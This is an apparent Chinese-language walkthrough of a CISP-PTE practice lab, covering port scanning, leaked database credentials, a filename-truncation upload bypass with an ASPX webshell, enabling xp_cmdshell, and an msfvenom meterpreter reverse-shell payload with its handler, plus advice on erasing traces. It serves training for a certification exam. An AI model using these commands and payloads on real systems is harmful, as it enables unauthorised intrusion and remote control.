新手也能搞定:从端口扫描到数据库提权,一次完整的CISP-PTE靶场实战复盘
从零到一的渗透实战CISP-PTE靶场通关全记录第一次接触渗透测试靶场时面对黑屏终端和闪烁的光标我完全不知道从何下手。直到完整走完这次CISP-PTE标准靶场的通关流程才真正理解渗透测试不是工具堆砌而是逻辑推理与系统思维的完美结合。下面就用最直白的语言分享这个包含信息收集、漏洞利用、权限提升的完整闭环过程。1. 信息收集一切始于端口探测靶场环境启动后的第一课是不要盲目行动。就像侦探破案需要先勘察现场我们需要先摸清目标系统的门窗位置——也就是开放端口和服务。推荐从轻量级扫描开始避免触发防护机制。使用gorailgun的基础扫描模式gorailgun-normal -target 192.168.1.100输出显示两个关键端口27689非常规端口可能是Web服务1433标准的MSSQL数据库端口用nmap二次验证时限定端口范围能显著提升效率nmap -sS -T4 -p 1-30000 192.168.1.100参数说明-sSSYN半开扫描平衡速度和隐蔽性-T4加快扫描速度-p限定端口范围避免全端口扫描常见新手错误直接使用-p-扫描所有65535端口既耗时又容易被安全设备发现。2. Web渗透从文件上传到getshell访问27689端口果然发现文件上传系统。尝试常规渗透路径2.1 认证绕过尝试测试admin/admin等常见弱口令组合 → 失败尝试SQL注入式登录如admin or 11--→ 被过滤万能密码测试 → 系统有防爆破机制2.2 目录扫描发现突破口使用dirsearch扫描网站目录python3 dirsearch.py -u http://192.168.1.100:27689 -e php,asp,aspx,jsp发现关键文件/db_backup.zip解压后得到web.config内含数据库连接字符串connectionStrings add nameDBConnect connectionStringServerlocalhost;DatabaseAppDB;User IDwebuser;PasswordPssw0rd123/ /connectionStrings2.3 文件上传的艺术通过Navicat连接MSSQL获取后台密码后发现文件上传功能有特殊限制限制条件细节利用方式文件名长度超32字符会被截断构造刚好32字符的文件名文件类型检查Content-Type修改请求头绕过内容检查检测危险函数使用混淆编码最终payload构造文件名88888888.aspx.jpg 文件内容% Page LanguageC# % % Import NamespaceSystem.Diagnostics % % Process.Start(cmd.exe); %关键点前8位随机字符.aspx共13字符加上.jpg后缀正好32字符被截断最终服务器保存为88888888.aspx。3. 数据库提权两条路径对比获取webshell后在根目录找到key1但权限不足需要提权。这里演示两种典型方法3.1 通过MSSQL扩展存储过程使用获取到的SA账号登录后-- 启用xp_cmdshell EXEC sp_configure show advanced options, 1 RECONFIGURE EXEC sp_configure xp_cmdshell, 1 RECONFIGURE -- 执行系统命令 EXEC xp_cmdshell whoami风险提示现代SQL Server默认禁用该功能且操作会留下明显日志。3.2 MSF木马提权更稳定的方式是生成meterpreter后门msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST192.168.1.10 \ LPORT4444 \ -f exe update.exe在靶机执行后MSF控制台配置use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.10 set LPORT 4444 exploit两种方法对比维度数据库命令MSF木马隐蔽性差中等稳定性依赖数据库服务独立进程功能受限完整控制适用场景紧急命令执行长期控制4. 痕迹清理与反思完成目标后千万别忘记删除上传的webshell文件清理数据库执行日志结束创建的异常进程还原修改过的系统配置回顾整个流程最深的体会是渗透测试70%的时间都在信息收集和分析。那些看似枯燥的配置文件、报错信息往往藏着突破的关键线索。建议新手在靶场练习时养成记录每个步骤和思考过程的习惯——这才是PTE考试真正的考点。